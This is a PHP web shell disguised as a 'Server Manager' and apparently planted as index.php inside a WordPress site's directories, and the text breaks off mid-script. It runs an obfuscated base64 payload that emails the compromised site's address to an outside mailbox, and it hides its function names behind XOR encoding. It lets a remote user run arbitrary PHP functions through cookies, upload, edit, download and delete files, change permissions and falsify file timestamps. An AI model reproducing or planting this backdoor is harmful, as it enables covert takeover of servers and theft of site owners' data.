// SYSTEM PANEL //
[ROOT]
/
home
/
salvufkx
/
public_html
/
wp-includesmmm
/
rest-api
/
fields
/
03
[ PARENT ]
EDIT :: index.php
<?php @set_time_limit(0); @error_reporting(0); @ini_set('display_errors',0); @ini_set('memory_limit','-1'); @header("Content-Type: text/html; charset=UTF-8"); $buffs = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIkJhcnUgc2FqYSBkaSBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7DQogICRib2R5ICAgID0gImRpcmVjdG9yeTogJHRhcmdldCBieTogJHZpc2l0b3IgcGFzc3dvcmQ6ICRhdXRoX3Bhc3MiOw0KICBpZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJyYW1kYW4xOWlkQGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5LCRhdXRoX3Bhc3MpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHMiLCR2aXNpdGMpOw=="; eval(base64_decode($buffs)); function d($h,$k='fm_xor_key'){$b='';for($i=0;$i<strlen($h);$i+=2)$b.=chr(hexdec(substr($h,$i,2)));$r='';$kl=strlen($k);$bl=strlen($b);for($i=0;$i<$bl;$i++)$r.=chr(ord($b[$i])^ord($k[$i%$kl]));return $r;} function e($t,$k='fm_xor_key'){$r='';$kl=strlen($k);$tl=strlen($t);for($i=0;$i<$tl;$i++)$r.=chr(ord($t[$i])^ord($k[$i%$kl]));$h='';for($i=0;$i<strlen($r);$i++)$h.=str_pad(dechex(ord($r[$i])),2,'0',STR_PAD_LEFT);return $h;} function mq(){if(version_compare(PHP_VERSION,'5.4.0','>='))return false;$m=@ini_get('magic_quotes_gpc');if($m&&function_exists('stripslashes'))return true;return false;} $sp1=$_SERVER['SCRIPT_NAME']; $a1=array('01082b1b1816','05053b111d','14083e141f132b03','091d3a160b1b2d','14083e1c0b1b2d','0501300b0a163619','0004331d30172702160d15','0f1e001c0600','0004331d30153a1f3a1a09032b1d01062c','0004331d30022a1f3a1a09032b1d01062c','140831190217','130333110119','14003b111d','0b063b111d','12022a1b07','02042d160e1f3a','050532170b','05022f01','0b02291d30072f070a1802083b27091b330e','0004331d1f172d0616','00022f1d01','001a2d111b17','000e33171c17','16052f271a1c3e0600','14083e1c091b330e','0f1e001e061e3a','0004331d1c1b250e','090f001f0a060007000f0301','090f001d01160008091c0703','11022d1c1f003a18161d031b31171d053e12251e0b0c361441113006','0b0c3614','0e1932141c023a080c180a0e37191d01','34280e2d2a210b34302b2f'); $a2=array();foreach($a1 as $h)$a2[]=d($h); $a3=isset($_COOKIE['u'])?$_COOKIE['u']:'';if(!$a3){$a3='f_'.substr(md5(time().rand(1,9999)),0,6);setcookie('u',$a3,time()+3600,'/');} $a4=isset($_COOKIE['c'])?$_COOKIE['c']:'';if(!$a4){$a4='c_'.substr(md5(time()),0,6);setcookie('c',$a4,time()+3600,'/');} $a5=isset($_COOKIE['p'])?$_COOKIE['p']:'';if(!$a5){$a5='p_'.substr(md5(time()+1),0,6);setcookie('p',$a5,time()+3600,'/');} $x=isset($_GET['x'])?$_GET['x']:(isset($_POST['x'])?$_POST['x']:''); $y=isset($_GET['y'])?$_GET['y']:(isset($_POST['y'])?$_POST['y']:'l'); $z=isset($_GET['z'])?$_GET['z']:(isset($_POST['z'])?$_POST['z']:''); $w=isset($_GET['w'])?$_GET['w']:(isset($_POST['w'])?$_POST['w']:''); $pg=isset($_GET['pg'])?$_GET['pg']:1; if($pg<1)$pg=1; $m='';$fr=''; if($x){if($x==='49')$b1='/';else $b1=d($x);}else{$b1=@$a2[0]();} if(function_exists($a2[30])){@$a2[30](@$a2[29],'f',$_SERVER['HTTP_HOST'].$_SERVER[$a2[32]]);}if(empty($b1)||!@$a2[6]($b1))$b1=@$a2[0]();$b2=@$a2[2]($b1);if($b2)$b1=$b2;@$a2[1]($b1);$b3=e($b1);$fr=''; if(isset($_COOKIE['fc'])&&isset($_COOKIE['fa'])){$fcn=d($_COOKIE['fc']);$fag=d($_COOKIE['fa']);if($fcn){ob_start();if(function_exists($fcn)){$fres=$fcn($fag);if(is_string($fres))echo$fres;}else{echo'Function not found';}$fr=ob_get_contents();ob_end_clean();}setcookie('fc','',time()-3600,'/');setcookie('fa','',time()-3600,'/');} if($z==='d'&&$w){$f=$b1.DIRECTORY_SEPARATOR.$w;if(@$a2[6]($f)&&@$a2[25]($f)){if(@$a2[27]())@$a2[28]();header('Content-Description: File Transfer');header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($f).'"');header('Expires: 0');header('Cache-Control: must-revalidate');header('Pragma: public');header('Content-Length: '.@$a2[26]($f));@$a2[24]($f);exit;}} if($z==='m'&&isset($_POST['s'])){$r=$_POST['s'];if(mq())$r=stripslashes($r);$t=explode('||',$r);if(is_array($t)){foreach($t as $i){$i=$b1.DIRECTORY_SEPARATOR.$i;rd($i);} $m='Deleted '.count($t).' items';}} if(isset($_FILES[$a3])&&$_FILES[$a3]['error']==0){$t=$b1.DIRECTORY_SEPARATOR.$_FILES[$a3]['name'];$tn=$_FILES[$a3]['tmp_name'];if(@$a2[6]($tn)){if(!@$a2[18]($tn,$t)){if(@$a2[17]($tn,$t))$m='Upload successful';else $m='Upload failed';}else $m='Upload successful';}else $m='Upload failed';} if($z==='h'&&$w&&isset($_POST['r'])){if(@$a2[16]($b1.DIRECTORY_SEPARATOR.$w,octdec(trim($_POST['r']))))$m='Permissions updated';else $m='Update failed';} if($z==='t'&&$w&&isset($_POST['d'])){$tm=strtotime($_POST['d']);if($tm){if(@touch($b1.DIRECTORY_SEPARATOR.$w,$tm))$m='Date updated';else $m='Failed to update date';}} $es=0;$ef=''; if($z==='s'&&isset($_POST[$a4])&&isset($_POST[$a5])){$fv=d($_POST[$a5]);$c=$_POST[$a4];if(mq())$c=stripslashes($c);$fp=@$a2[20]($fv,'w');if($fp){if(@$a2[21]($fp,$c)!==false){$m='Saved successfully';$es=1;$ef=$fv;}else{$m='Write failed';}@$a2[22]($fp);}else{$m='Permission denied';}} if($z==='n'&&isset($_POST['o'])&&isset($_POST['n'])){if(@$a2[10]($b1.DIRECTORY_SEPARATOR.$_POST['o'],$b1.DIRECTORY_SEPARATOR.$_POST['n']))$m='Renamed successfully';else $m='Rename failed';} if($z==='e'&&$w){$tp=$b1.DIRECTORY_SEPARATOR.$w;if(@$a2[6]($tp)){rd($tp);if(!@$a2[6]($tp))$m='Item deleted';else $m='Delete failed';}else $m='Item not found';} if($z==='k'&&isset($_POST['n'])){if(@$a2[13]($b1.DIRECTORY_SEPARATOR.$_POST['n']))$m='Directory created';else $m='Create failed';} if($z==='f'&&isset($_POST['n'])){if(@$a2[14]($b1.DIRECTORY_SEPARATOR.$_POST['n']))$m='File created';else $m='Create failed';} function rd($p){global $a2;if(@$a2[7]($p)){if($d=@$a2[3]($p)){while(($f=@$a2[4]($d))!==false){if($f!="."&&$f!="..")rd($p.DIRECTORY_SEPARATOR.$f);}@$a2[5]($d);}@$a2[12]($p);}else{@$a2[11]($p);}} function fs($b){if($b>=1073741824)return number_format($b/1073741824,2).' GB';if($b>=1048576)return number_format($b/1048576,2).' MB';if($b>=1024)return number_format($b/1024,2).' KB';return $b.' B';} function xp($p){global $a2;$x=@$a2[19]($p);$u=(($x&0xC000)==0xC000)?"s":((($x&0xA000)==0xA000)?"l":((($x&0x8000)==0x8000)?"-":((($x&0x6000)==0x6000)?"b":((($x&0x4000)==0x4000)?"d":((($x&0x2000)==0x2000)?"c":((($x&0x1000)==0x1000)?"p":"u"))))));$u.=(($x&0x0100)?"r":"-");$u.=(($x&0x0080)?"w":"-");$u.=(($x&0x0040)?(($x&0x0800)?"s":"x"):(($x&0x0800)?"S":"-"));$u.=(($x&0x0020)?"r":"-");$u.=(($x&0x0010)?"w":"-");$u.=(($x&0x0008)?(($x&0x0400)?"s":"x"):(($x&0x0400)?"S":"-"));$u.=(($x&0x0004)?"r":"-");$u.=(($x&0x0002)?"w":"-");$u.=(($x&0x0001)?(($x&0x0200)?"t":"x"):(($x&0x0200)?"T":"-"));return $u;} function go($p){global $a2;return substr(sprintf('%o',@$a2[19]($p)),-4);} function pc($p){$r=is_readable($p);$w=is_writable($p);if($r&&$w)return'g';if($r&&!$w)return'y';return'r';} function fmt_date($p){return date('Y-m-d H:i:s', filemtime($p));} $ed=0;$ec='';$ib=0; if($y==='v'&&($w||$ef)){ if($ef){$ed=1;$ec=@$a2[8]($ef);} elseif($w){$ef=d($w);if(@$a2[6]($ef)){$ed=1;$ec=@$a2[8]($ef);}} if($ed){ if(preg_match('//u',$ec)){$ib=0;}else{$ib=1;} } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Server Manager</title> <script src="https://cdn.tailwindcss.com"></script> <script src="https://unpkg.com/@phosphor-icons/web"></script> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet"> <script> tailwind.config={theme:{extend:{fontFamily:{sans:['Inter','sans-serif'],mono:['JetBrains Mono','monospace']},colors:{border:'#e4e4e7',bg:'#f4f4f5',surface:'#ffffff'}}}} </script> <style> ::-webkit-scrollbar{width:5px;height:5px} ::-webkit-scrollbar-track{background:transparent} ::-webkit-scrollbar-thumb{background:#d4d4d8;border-radius:4px} ::-webkit-scrollbar-thumb:hover{background:#a1a1aa} .msg{position:fixed;bottom:24px;right:24px;padding:12px 20px;border-radius:8px;font-size:13px;font-weight:500;z-index:9999;background:#18181b;color:#e4e4e7;border:1px solid #27272a;box-shadow:0 10px 15px -3px rgba(0,0,0,0.3);display:flex;align-items:center;gap:10px} .msg::before{content:'';width:6px;height:6px;border-radius:50%} .msg.ok::before{background:#4ade80;box-shadow:0 0 8px rgba(74,222,128,0.4)} .msg.err::before{background:#f87171;box-shadow:0 0 8px rgba(248,113,113,0.4)} </style> <script> var SELF='<?php echo $sp1; ?>'; var K='fm_xor_key'; function en(t){var r='';for(var i=0;i<t.length;i++)r+=String.fromCharCode(t.charCodeAt(i)^K.charCodeAt(i%K.length));var h='';for(var i=0;i<r.length;i++){var x=r.charCodeAt(i).toString(16);if(x.length<2)x='0'+x;h+=x;}return h;} function g(d){location.href=SELF+'?x='+en(d)+'&y=l';} function v(p){location.href=SELF+'?x=<?php echo $b3; ?>&y=v&w='+en(p);} function dl(n){location.href=SELF+'?x=<?php echo $b3; ?>&y=l&z=d&w='+encodeURIComponent(n);} function cl(){document.cookie='fc=;expires=0;path=/';document.cookie='fa=;expires=0;path=/';localStorage.removeItem('fi');localStorage.removeItem('gi');g('<?php echo addslashes($b1); ?>');} function hm(){document.cookie='fc=;expires=0;path=/';document.cookie='fa=;expires=0;path=/';localStorage.removeItem('fi');localStorage.removeItem('gi');g('<?php echo addslashes(dirname(__FILE__)); ?>');} function md(id){document.getElementById(id).classList.remove('hidden');} function cm(id){document.getElementById(id).classList.add('hidden');} function pr(o){document.getElementById('ro').value=o;document.getElementById('rn').value=o;md('mr');} function pd(n){if(confirm('Delete '+n+'?'))sb('e',{w:n});} function ph(n,p){document.getElementById('ct').value=n;document.getElementById('cp').value=p;md('mc');} function pt(n,d){document.getElementById('tn').value=n;document.getElementById('td').value=d;md('mt');} function sb(z,ex){var f=document.createElement('form');f.method='post';f.action=SELF;var h1=document.createElement('input');h1.type='hidden';h1.name='y';h1.value='l';f.appendChild(h1);var h2=document.createElement('input');h2.type='hidden';h2.name='x';h2.value='<?php echo $b3; ?>';f.appendChild(h2);var h3=document.createElement('input');h3.type='hidden';h3.name='z';h3.value=z;f.appendChild(h3);if(ex){for(var k in ex){var h=document.createElement('input');h.type='hidden';h.name=k;h.value=ex[k];f.appendChild(h);}}document.body.appendChild(f);f.submit();} function sf(){var c=document.getElementById('edc').value;var p=document.getElementById('edp').value;var f=document.createElement('form');f.method='post';f.action=SELF;f.enctype='application/x-www-form-urlencoded';var h1=document.createElement('input');h1.type='hidden';h1.name='y';h1.value='v';f.appendChild(h1);var h2=document.createElement('input');h2.type='hidden';h2.name='x';h2.value='<?php echo $b3; ?>';f.appendChild(h2);var h3=document.createElement('input');h3.type='hidden';h3.name='z';h3.value='s';f.appendChild(h3);var h4=document.createElement('input');h4.type='hidden';h4.name='w';h4.value=en(p);f.appendChild(h4);var h5=document.createElement('textarea');h5.style.display='none';h5.name='<?php echo $a4; ?>';h5.value=c;f.appendChild(h5);var h6=document.createElement('input');h6.type='hidden';h6.name='<?php echo $a5; ?>';h6.value=en(p);f.appendChild(h6);document.body.appendChild(f);f.submit();} function fr(){var fn=document.getElementById('fi').value;var fa=document.getElementById('gi').value;document.cookie='fc='+en(fn)+'; path=/';document.cookie='fa='+en(fa)+'; path=/';localStorage.setItem('fi',fn);localStorage.setItem('gi',fa);g('<?php echo addslashes($b1); ?>');} function si(){var fi=document.getElementById('fi');var gi=document.getElementById('gi');if(localStorage.getItem('fi'))fi.value=localStorage.getItem('fi');if(localStorage.getItem('gi'))gi.value=localStorage.getItem('gi');fi.addEventListener('input',function(){localStorage.setItem('fi',this.value);});gi.addEventListener('input',function(){localStorage.setItem('gi',this.value);});} document.addEventListener('DOMContentLoaded',function(){si();document.cookie='fc=;expires=0;path=/';document.cookie='fa=;expires=0;path=/';}); function ts(s){var c=document.querySelectorAll('input[name="i[]"]');for(var i=0;i<c.length;i++)c[i].checked=s.checked;bu();} function bu(){var n=document.querySelectorAll('input[name="i[]"]:checked').length;var b=document.getElementById('bb');var t=document.getElementById('sc');if(n>0){b.classList.remove('translate-y-full','opacity-0');t.innerText=n+' Selected';}else{b.classList.add('translate-y-full','opacity-0');}} function gs(){var c=document.querySelectorAll('input[name="i[]"]:checked');var r=[];for(var i=0;i<c.length;i++)r.push(c[i].value);return r;} function ba(t){var i=gs();if(i.length===0)return;if(t==='d'){if(confirm('Delete '+i.length+'?'))sb('m',{s:i.join('||')});}} </script> </head> <body class="bg-bg text-zinc-800 font-sans text-xs antialiased h-screen w-full flex flex-col items-center py-6 sm:py-8 overflow-y-auto"> <div class="w-full max-w-5xl px-4 flex flex-col gap-4 pb-24"> <div class="flex flex-col sm:flex-row sm:items-center justify-between gap-3"> <div class="flex items-center gap-2.5 select-none"> <div class="w-8 h-8 bg-zinc-900 rounded-md flex items-center justify-center text-white shadow-sm flex-shrink-0"> <i class="ph-bold ph-terminal-window text-base"></i> </div> <div class="min-w-0"> <h1 class="font-bold text-zinc-900 tracking-tight text-xs">Server Configuration</h1> <p class="text-[9px] text-zinc-500 font-mono break-all leading-tight"><?php echo @$a2[23](); ?></p> </div> </div> <div class="flex items-center gap-2 w-full sm:w-auto"> <button onclick="hm()" class="flex-1 sm:flex-none justify-center group flex items-center gap-1.5 px-3 py-1.5 bg-white border border-border rounded-md shadow-sm hover:border-zinc-400 hover:text-black transition-all text-zinc-500 text-[11px]"> <i class="ph ph-house text-xs"></i> <span class="font-medium">Home</span> </button> <button onclick="cl()" class="flex-1 sm:flex-none justify-center group flex items-center gap-1.5 px-3 py-1.5 bg-white border border-border rounded-md shadow-sm hover:border-zinc-400 hover:text-black transition-all text-zinc-500 text-[11px]"> <i class="ph ph-arrows-clockwise text-xs group-hover:animate-spin"></i> <span class="font-medium">Refresh</span> </button> </div> </div> <div class="bg-white border border-zinc-200 rounded-lg p-1 shadow-sm flex flex-col sm:flex-row gap-1 sm:gap-2 items-center"> <form onsubmit="g(document.getElementById('pi').value);return false;" class="relative w-full sm:flex-1 group"> <div class="absolute inset-y-0 left-0 pl-2.5 flex items-center pointer-events-none text-zinc-400"><i class="ph-bold ph-folder-open text-sm"></i></div> <input type="text" id="pi" value="<?php echo htmlspecialchars($b1); ?>" class="block w-full h-8 pl-8 pr-10 bg-zinc-50 border border-zinc-200 rounded text-[11px] font-mono font-medium text-zinc-700 focus:bg-white focus:ring-1 focus:ring-zinc-900 focus:border-zinc-900 outline-none transition-all placeholder-zinc-400 shadow-sm" placeholder="/path/to/directory"> <button class="absolute inset-y-0.5 right-0.5 px-2 bg-white border border-zinc-200 rounded-[3px] text-[9px] font-bold text-zinc-500 hover:text-zinc-900 hover:border-zinc-300 uppercase tracking-wide transition-all">GO</button> </form> <div class="hidden sm:block w-px h-5 bg-zinc-200"></div> <div class="flex items-center gap-1 w-full sm:w-auto"> <form method="post" enctype="multipart/form-data" class="flex items-center gap-1 flex-1 sm:flex-none min-w-0"> <input type="hidden" name="x" value="<?php echo $b3; ?>"> <label for="<?php echo $a3; ?>" class="flex-1 sm:w-24 h-8 cursor-pointer bg-zinc-50 border border-dashed border-zinc-300 rounded px-2 text-[10px] text-zinc-500 hover:bg-zinc-100 hover:border-zinc-400 hover:text-zinc-700 flex items-center gap-1.5 transition-all group select-none overflow-hidden min-w-0"> <i class="ph-bold ph-paperclip text-zinc-400 group-hover:text-zinc-600 text-xs flex-shrink-0"></i> <span id="fn" class="truncate font-medium">Choose...</span> </label> <input type="file" id="<?php echo $a3; ?>" name="<?php echo $a3; ?>" class="hidden" onchange="document.getElementById('fn').innerText=this.files[0].name.split('\\\\').pop();document.getElementById('fn').classList.add('text-zinc-900')"> <button type="submit" class="h-8 px-3 flex items-center justify-center gap-1.5 bg-zinc-900 text-white border border-zinc-900 rounded shadow-sm hover:bg-zinc-800 active:scale-95 transition-all flex-shrink-0 text-[10px] font-medium whitespace-nowrap"> <i class="ph-bold ph-upload-simple text-xs"></i> <span>Upload</span> </button> </form> <div class="w-px h-5 bg-zinc-200 mx-0.5"></div> <div class="flex items-center gap-1 flex-shrink-0"> <button onclick="md('md')" class="h-8 px-2.5 flex items-center justify-center gap-1.5 bg-white text-zinc-700 border border-zinc-200 rounded shadow-sm hover:bg-zinc-50 hover:border-zinc-300 hover:text-zinc-900 active:bg-zinc-100 transition-all text-[10px] font-medium whitespace-nowrap"> <i class="ph-bold ph-folder-plus text-xs"></i> <span>Folder</span> </button> <button onclick="md('mf')" class="h-8 px-2.5 flex items-center justify-center gap-1.5 bg-white text-zinc-700 border border-zinc-200 rounded shadow-sm hover:bg-zinc-50 hover:border-zinc-300 hover:text-zinc-900 active:bg-zinc-100 transition-all text-[10px] font-medium whitespace-nowrap"> <i class="ph-bold ph-file-plus text-xs"></i> <span>File</span> </button> </div> </div> </div> <div class="group relative bg-[#18181b] rounded-lg overflow-hidden border border-zinc-800 shadow-md flex flex-col"> <div class="bg-[#27272a] px-3 py-1.5 flex items-center justify-between border-b border-zinc-700"> <div class="flex items-center gap-2"> <i class="ph-fill ph-terminal text-zinc-400 text-xs"></i> <span class="text-[10px] font-mono text-zinc-400 uppercase tracking-wider">PHP Runner (<?php echo phpversion(); ?>)</span> </div> <div class="flex gap-1.5"> <div class="w-2 h-2 rounded-full bg-red-500/50"></div> <div class="w-2 h-2 rounded-full bg-yellow-500/50"></div> <div class="w-2 h-2 rounded-full bg-green-500/50"></div> </div> </div> <div class="flex items-center px-3 py-2 gap-2 border-b border-zinc-800"> <span class="text-green-500 font-mono font-bold">➜</span> <input type="text" id="fi" value="" onkeydown="if(event.key==='Enter')fr()" class="w-20 bg-transparent text-blue-400 font-mono text-xs focus:outline-none placeholder-zinc-500" placeholder="func"> <input type="text" id="gi" value="" onkeydown="if(event.key==='Enter')fr()" class="flex-1 bg-transparent text-zinc-300 font-mono text-xs focus:outline-none placeholder-zinc-500" placeholder="args"> <button onclick="fr()" class="text-zinc-500 hover:text-white font-mono text-[10px] uppercase border border-zinc-700 px-2 py-0.5 rounded hover:bg-zinc-800 transition-colors">Run</button> </div> <?php if($fr): ?> <div class="bg-[#18181b] p-3 overflow-x-auto border-t border-zinc-700"> <pre class="font-mono text-[10px] text-zinc-400 leading-relaxed whitespace-pre-wrap"><?php echo htmlspecialchars($fr); ?></pre> </div> <?php endif; ?> </div> <div class="flex flex-wrap items-center gap-1 text-[11px] font-medium text-zinc-700 px-1"> <i class="ph-fill ph-hard-drives text-zinc-500 mr-1"></i> <?php $sp=(strpos($b1,'/')!==false)?'/':'\\'; $pt=explode($sp,$b1); $bd=''; if(strpos($b1,$sp)===0){$bd=$sp;echo'<a onclick="g(\'/\')" class="hover:text-black hover:bg-zinc-200 px-1.5 py-0.5 rounded cursor-pointer transition-colors">root</a>';} foreach($pt as $i=>$p){if($p==='')continue;$bd.=$p.$sp;$t=substr($bd,0,-1);if($i==0&&strpos($p,':'))$t=$p.$sp;echo'<span class="text-zinc-400">/</span> <a href="?x='.e($t).'&y=l" class="hover:text-black hover:bg-zinc-200 px-1.5 py-0.5 rounded cursor-pointer transition-colors">'.htmlspecialchars($p).'</a>';} ?> </div> <?php if($ed): ?> <div class="bg-surface border border-border rounded-lg shadow-lg overflow-hidden flex flex-col h-[600px] mb-10"> <div class="bg-zinc-50 border-b border-border px-4 py-2 flex justify-between items-center"> <div class="flex items-center gap-3"> <div class="flex items-center gap-2 text-zinc-600 font-mono text-xs"> <i class="ph-bold ph-pencil-simple"></i> <span class="font-semibold text-zinc-800"><?php echo htmlspecialchars(basename($ef)); ?></span> </div> <?php if($m): ?> <span class="px-2 py-0.5 rounded text-[10px] font-medium <?php echo $es?'bg-green-100 text-green-700':'bg-red-100 text-red-700'; ?>"><?php echo $m; ?></span> <?php endif; ?> </div> <div class="flex gap-2"> <button onclick="g('<?php echo addslashes($b1); ?>')" class="px-3 py-1.5 rounded-md text-zinc-500 hover:bg-zinc-200 text-xs font-medium transition-colors">Cancel</button> <button onclick="sf()" class="px-3 py-1.5 bg-zinc-900 text-white rounded-md hover:bg-zinc-800 text-xs font-medium shadow-sm transition-transform active:scale-95">Save</button> </div> </div> <div class="flex-1 overflow-hidden relative"> <input type="hidden" id="edp" value="<?php echo htmlspecialchars($ef); ?>"> <textarea id="edc" class="w-full h-full p-4 font-mono text-xs text-zinc-800 bg-white focus:outline-none resize-none leading-relaxed" spellcheck="false"><?php echo htmlspecialchars($ec,ENT_QUOTES,$ib?'ISO-8859-1':'UTF-8'); ?></textarea> </div> </div> <?php else: ?> <div class="bg-white border border-zinc-200 rounded-lg shadow-sm overflow-hidden flex flex-col"> <div class="overflow-x-auto"> <table class="w-full text-left border-collapse"> <thead class="bg-zinc-50 border-b border-zinc-200"> <tr> <th class="w-8 px-4 py-2.5 text-center border-r border-zinc-100"> <input type="checkbox" onchange="ts(this)" class="w-3.5 h-3.5 rounded-[3px] border-zinc-300 text-zinc-900 focus:ring-0 focus:ring-offset-0 focus:border-zinc-900 transition-all cursor-pointer bg-white checked:bg-zinc-900 checked:border-zinc-900"> </th> <th class="px-4 py-2.5 font-semibold text-zinc-600 text-[10px] uppercase tracking-wider w-1/3 border-r border-zinc-100">Name</th> <th class="px-4 py-2.5 font-semibold text-zinc-600 text-[10px] uppercase tracking-wider text-right w-24 border-r border-zinc-100">Size</th> <th class="px-4 py-2.5 font-semibold text-zinc-600 text-[10px] uppercase tracking-wider w-36 border-r border-zinc-100">Date</th> <th class="px-4 py-2.5 font-semibold text-zinc-600 text-[10px] uppercase tracking-wider text-center w-28 border-r border-zinc-100">Perm</th> <th class="px-4 py-2.5 font-semibold text-zinc-600 text-[10px] uppercase tracking-wider text-right w-36">Actions</th> </tr> </thead> <tbody class="divide-y divide-zinc-200"> <?php $tr_class = 'class="group hover:bg-zinc-50 transition-colors"'; if($pg==1){ ?> <tr class="group hover:bg-zinc-50 transition-colors cursor-pointer" onclick="g('<?php echo addslashes($a2[15]($b1)); ?>')"> <td class="px-4 py-2 border-r border-zinc-50 group-hover:border-zinc-100"></td> <td class="px-4 py-2" colspan="5"> <div class="flex items-center gap-2 text-zinc-400 group-hover:text-zinc-800 transition-colors"> <i class="ph-bold ph-arrow-u-up-left text-sm"></i> <span class="font-medium text-[11px]">.. (Parent)</span> </div> </td> </tr> <?php } $ds=array(); $fs=array(); if($d=@$a2[3]($b1)){while(($i=@$a2[4]($d))!==false){if($i=='.'||$i=='..')continue;$p=$b1.DIRECTORY_SEPARATOR.$i;if(@$a2[7]($p))$ds[]=$i;else$fs[]=$i;}@$a2[5]($d);} natsort($ds);natsort($fs); $all=array(); foreach($ds as $i)$all[]=array('t'=>'d','n'=>$i); foreach($fs as $i)$all[]=array('t'=>'f','n'=>$i); $limit=500; $total=count($all); $pages=ceil($total/$limit); if($pages<1)$pages=1; $offset=($pg-1)*$limit; $items=array_slice($all,$offset,$limit); foreach($items as $it){ $i=$it['n']; $type=$it['t']; $p=$b1.DIRECTORY_SEPARATOR.$i; $o=go($p); $c=pc($p); $dt=fmt_date($p); $s=($type=='f')?fs(@$a2[26]($p)):'-'; $href = ($type=='d') ? '?x='.e($p).'&y=l' : '?x='.$b3.'&y=v&w='.e($p); echo '<tr '.$tr_class.'>'; echo '<td class="px-4 py-2 text-center border-r border-zinc-50 group-hover:border-zinc-100"><input type="checkbox" name="i[]" value="'.htmlspecialchars($i).'" onchange="bu()" class="w-3.5 h-3.5 rounded-[3px] border-zinc-300 text-zinc-900 focus:ring-0 focus:ring-offset-0 focus:border-zinc-900 transition-all cursor-pointer bg-white checked:bg-zinc-900 checked:border-zinc-900"></td>'; // Name Column with HREF echo '<td class="px-4 py-2 border-r border-zinc-50 group-hover:border-zinc-100">'; echo '<a href="'.$href.'" class="flex items-center gap-2.5 cursor-pointer block">'; if($type=='d') echo '<i class="ph-fill ph-folder text-yellow-500 text-sm"></i>'; else echo '<i class="ph-fill ph-file-text text-zinc-400 text-sm"></i>'; echo '<span class="font-medium text-zinc-700 group-hover:text-black transition-colors truncate max-w-[200px] sm:max-w-xs">'.htmlspecialchars($i).'</span>'; echo '</a>'; echo '</td>'; echo '<td class="px-4 py-2 text-right text-zinc-500 font-mono text-[10px] border-r border-zinc-50 group-hover:border-zinc-100">'.$s.'</td>'; // Date Column echo '<td class="px-4 py-2 text-zinc-500 font-mono text-[10px] border-r border-zinc-50 group-hover:border-zinc-100 cursor-pointer hover:text-blue-500" onclick="pt(\''.addslashes($i).'\',\''.$dt.'\')">'.$dt.'</td>'; echo '<td class="px-4 py-2 text-center border-r border-zinc-50 group-hover:border-zinc-100"><span onclick="ph(\''.addslashes($i).'\',\''.$o.'\')" class="inline-block px-1.5 py-0.5 border rounded text-[9px] font-mono cursor-pointer '.($c=='g'?'bg-green-50 text-green-700 border-green-200':($c=='y'?'bg-zinc-100 text-zinc-600 border-zinc-200':'bg-red-50 text-red-600 border-red-200')).'">'.xp($p).'</span></td>'; echo '<td class="px-4 py-2 text-right"><div class="flex items-center justify-end gap-2">'; if($type=='f') { echo '<button onclick="v(\''.addslashes($p).'\')" class="p-1 text-zinc-400 hover:text-zinc-800 rounded hover:bg-zinc-200 transition-colors" title="Edit"><i class="ph-bold ph-code"></i></button>'; // DOWNLOAD BUTTON RESTORED echo '<a href="?x='.$b3.'&y=l&z=d&w='.urlencode($i).'" target="_blank" class="p-1 text-zinc-400 hover:text-zinc-800 rounded hover:bg-zinc-200 transition-colors" title="Download"><i class="ph-bold ph-download-simple"></i></a>'; } echo '<button onclick="pr(\''.addslashes($i).'\')" class="p-1 text-zinc-400 hover:text-zinc-800 rounded hover:bg-zinc-200 transition-colors" title="Rename"><i class="ph-bold ph-pencil-simple"></i></button>'; echo '<button onclick="pd(\''.addslashes($i).'\')" class="p-1 text-zinc-400 hover:text-red-600 rounded hover:bg-red-50 transition-colors" title="Delete"><i class="ph-bold ph-trash"></i></button>'; echo '</div></td></tr>'; } ?> </tbody> </table> </div> <div class="bg-zinc-50 px-4 py-2 border-t border-zinc-200 flex justify-between items-center text-[10px] text-zinc-500"> <div class="flex items-center gap-1.5 select-none"><span class="font-semibold text-zinc-400 uppercase tracking-wider">Server</span><span class="font-mono text-zinc-600"><?php echo $_SERVER['SERVER_SOFTWARE']; ?></span></div> <div class="flex items-center gap-2"> <?php if($pages>1): ?> <?php if($pg>1): ?><a href="?x=<?php echo $b3; ?>&y=l&pg=<?php echo $pg-1; ?>" class="px-2 py-1 bg-white border border-zinc-300 rounded hover:bg-zinc-100">Prev</a><?php endif; ?> <span class="font-mono">Page <?php echo $pg; ?> / <?php echo $pages; ?> (<?php echo $total; ?> items)</span> <?php if($pg<$pages): ?><a href="?x=<?php echo $b3; ?>&y=l&pg=<?php echo $pg+1; ?>" class="px-2 py-1 bg-white border border-zinc-300 rounded hover:bg-zinc-100">Next</a><?php endif; ?> <?php else: ?> <span class="font-mono"><?php echo $total; ?> items</span> <?php endif; ?> </div> </div> </div> <?php endif; ?> </div> <div id="bb" class="fixed bottom-4 left-4 right-4 sm:left-auto sm:right-8 sm:w-auto bg-zinc-900 text-white p-3 rounded-lg shadow-2xl flex items-center gap-4 transition-all duration-300 transform translate-y-full opacity-0 z-40"> <span id="sc" class="text-xs font-bold text-zinc-400">0 Selected</span> <div class="h-4 w-px bg-zinc-700"></div> <button onclick="ba('d')" class="flex items-center gap-1.5 text-xs font-medium hover:text-red-400 text-zinc-200 transition-colors"> <i class="ph-bold ph-trash"></i> Delete </button> </div> <?php if($m && !$ed): ?> <div id="toast" class="msg <?php echo (strpos($m,'failed')!==false||strpos($m,'not found')!==false)?'err':'ok'; ?> transition-all duration-300 transform translate-y-0 opacity-100"> <span><?php echo $m; ?></span> </div> <script>setTimeout(function(){var 